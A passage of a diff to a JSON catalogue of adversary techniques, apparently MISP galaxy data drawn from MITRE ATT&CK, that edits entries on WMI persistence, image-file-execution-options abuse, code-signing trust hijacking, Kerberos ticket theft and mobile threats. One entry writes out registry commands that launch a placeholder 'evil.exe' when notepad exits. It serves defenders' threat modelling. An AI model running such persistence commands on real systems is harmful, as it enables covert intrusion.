(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", "meta": { "external_id": "T1546.003", "kill_chain": [ @@ -1978,7 +1988,7 @@ "value": "Analyze organizational skillsets and deficiencies - T1300" }, { - "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", + "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network", "meta": { "external_id": "T1011", "kill_chain": [ @@ -2020,15 +2030,7 @@ "https://www.skycure.com/blog/malicious-profiles-the-sleeping-giant-of-ios-security/" ] }, - "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", "value": "Network Traffic Capture or Redirection - T1410" }, @@ -2150,7 +2152,7 @@ "value": "Data from Network Shared Drive - T1039" }, { - "description": "Adversaries may download and execute dynamic code not included in the original application package after installation. This technique is primarily used to evade static analysis checks and pre-publication scans in official app stores. In some cases, more advanced dynamic or behavioral analysis techniques could detect this behavior. However, in conjunction with [Execution Guardrails](https://attack.mitre.org/techniques/T1627) techniques, detecting malicious code downloaded after installation could be difficult.\n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that utilizes Android WebView’s `JavascriptInterface` capability. \n\nOn iOS, dynamic code could be downloaded and executed through 3rd party libraries such as JSPatch. (Citation: FireEye-JSPatch) ", + "description": "An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poeplau-ExecuteThis)\n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability.(Citation: Bromium-AndroidRCE)\n\nOn iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)", "meta": { "external_id": "APP-20", "kill_chain": [ @@ -2162,8 +2164,11 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1407", + "https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/", "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html", - "https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html" + "https://www.fireeye.com/blog/threat-research/2016/01/hot_or_not_the_bene.html", + "https://www.internetsociety.org/sites/default/files/10_5_0.pdf", + "https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei" ] }, "uuid": "6c49d50f-494d-4150-b774-a655022d20a6", @@ -2173,12 +2178,6 @@ "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)", "meta": { "external_id": "T1084", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1084", "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96", @@ -2204,14 +2203,6 @@ "description": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.", "meta": { "external_id": "T1094", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "https://attack.mitre.org/techniques/T1094" @@ -2262,7 +2253,15 @@ "https://attack.mitre.org/techniques/T1431" ] }, - "related": [], + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "6b846ad0-cc20-4db6-aa34-91561397c5e2", "value": "App Delivered via Web Download - T1431" }, @@ -2270,14 +2269,6 @@ "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", "meta": { "external_id": "T1183", - "kill_chain": [ - "mitre-attack:privilege-escalation", - "mitre-attack:persistence", - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1183", "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/", @@ -2305,13 +2296,6 @@ "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", "meta": { "external_id": "T1198", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165", "https://attack.mitre.org/techniques/T1198", @@ -2618,12 +2602,20 @@ "https://attack.mitre.org/techniques/T1434" ] }, - "related": [], + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "1f96d624-8409-4472-ad8a-30618ee6b2e2", "value": "App Delivered via Email Attachment - T1434" }, { - "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ", + "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection). ", "meta": { "external_id": "T1543", "kill_chain": [ @@ -2632,7 +2624,6 @@ ], "mitre_data_sources": [ "Command: Command Execution", - "Driver: Driver Load", "File: File Creation", "File: File Modification", "Process: OS API Execution", @@ -2685,34 +2676,6 @@ "uuid": "0e6abb17-0f81-4988-9fd2-4ba0b673d729", "value": "Automated system performs requested action - T1384" }, - { - "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a standard Internet connection, the exfiltration may occur, for example, via Bluetooth, or another radio frequency (RF) channel. \n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. ", - "meta": { - "external_id": "APP-30", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1438", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" - ] - }, - "related": [ - { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], - "uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", - "value": "Exfiltration Over Other Network Medium - T1438" - }, { "description": "If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)", "meta": { @@ -2731,15 +2694,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html" ] }, - "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "393e8c12-a416-4575-ba90-19cc85656796", "value": "Eavesdrop on Insecure Network Communication - T1439" }, @@ -2766,10 +2721,8 @@ ], "mitre_data_sources": [ "Cloud Storage: Cloud Storage Creation", - "Cloud Storage: Cloud Storage Metadata", "Cloud Storage: Cloud Storage Modification", "Snapshot: Snapshot Creation", - "Snapshot: Snapshot Metadata", "Snapshot: Snapshot Modification" ], "mitre_platforms": [ @@ -2777,9 +2730,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1537", - "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html", - "https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview", - "https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature", "https://www.justice.gov/file/1080281/download" ] }, @@ -2857,28 +2807,34 @@ "value": "Compromise of externally facing system - T1388" }, { - "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts are part of the underlying operating system and are not accessible to the user unless the device has been rooted or jailbroken. ", + "description": "An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating. (Citation: NIST-SP800187)(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)", "meta": { - "external_id": "APP-27", + "external_id": "GPS-0", "kill_chain": [ - "mitre-mobile-attack:persistence" + "mitre-mobile-attack:network-effects" ], "mitre_platforms": [ "Android", "iOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1398", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", - "https://source.android.com/security/verifiedboot/" + "http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf", + "https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/", + "https://attack.mitre.org/techniques/T1464", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html", + "https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html", + "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html", + "https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/", + "https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/", + "https://www.nytimes.com/2007/11/04/technology/04jammer.html" ] }, - "uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", - "value": "Boot or Logon Initialization Scripts - T1398" + "uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d", + "value": "Jamming or Denial of Service - T1464" }, { - "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", + "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)  These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "meta": { "external_id": "CAPEC-564", "kill_chain": [ @@ -2934,15 +2890,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html" ] }, - "related": [ - { - "dest-uuid": "9ef05e3d-52db-4c12-be4f-519214bbe91f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "6f86d346-f092-4abc-80df-8558a90c426a", "value": "Remotely Track Device Without Authorization - T1468" }, @@ -2986,20 +2934,12 @@ "https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security" ] }, - "related": [ - { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "value": "Install Insecure or Malicious Configuration - T1478" }, { - "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n", + "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n", "meta": { "external_id": "CAPEC-652", "kill_chain": [ @@ -3085,12 +3025,6 @@ "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", "meta": { "external_id": "T1171", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1171", "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html", @@ -3130,39 +3064,6 @@ "uuid": "5436571f-2332-4b51-b7ed-0bc822fe02c2", "value": "OS-vendor provided communication channels - T1390" }, - { - "description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)", - "meta": { - "external_id": "T1621", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Logon Session: Logon Session Creation", - "Logon Session: Logon Session Metadata", - "User Account: User Account Authentication" - ], - "mitre_platforms": [ - "Windows", - "Office 365", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Azure AD", - "Google Workspace" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1621", - "https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications", - "https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/", - "https://www.mandiant.com/resources/russian-targeting-gov-business" - ] - }, - "uuid": "954a1639-f2d6-407d-aef3-4917622ca493", - "value": "Multi-Factor Authentication Request Generation - T1621" - }, { "description": "An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).", "meta": { @@ -3181,15 +3082,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html" ] }, - "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3", "value": "Rogue Wi-Fi Access Points - T1465" }, @@ -3202,7 +3095,6 @@ ], "mitre_data_sources": [ "Command: Command Execution", - "File: File Deletion", "Process: OS API Execution" ], "mitre_platforms": [ @@ -3293,35 +3185,7 @@ "value": "Distributed Component Object Model - T1021.003" }, { - "description": "An adversary may use access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM)/mobile device management (MDM) server console to track the location of mobile devices managed by the service.(Citation: Krebs-Location) ", - "meta": { - "external_id": "EMM-7", - "kill_chain": [ - "mitre-mobile-attack:collection", - "mitre-mobile-attack:discovery" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1430/001", - "https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html", - "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html" - ] - }, - "related": [ - { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", - "type": "subtechnique-of" - } - ], - "uuid": "9ef05e3d-52db-4c12-be4f-519214bbe91f", - "value": "Remote Device Management Services - T1430.001" - }, - { - "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device 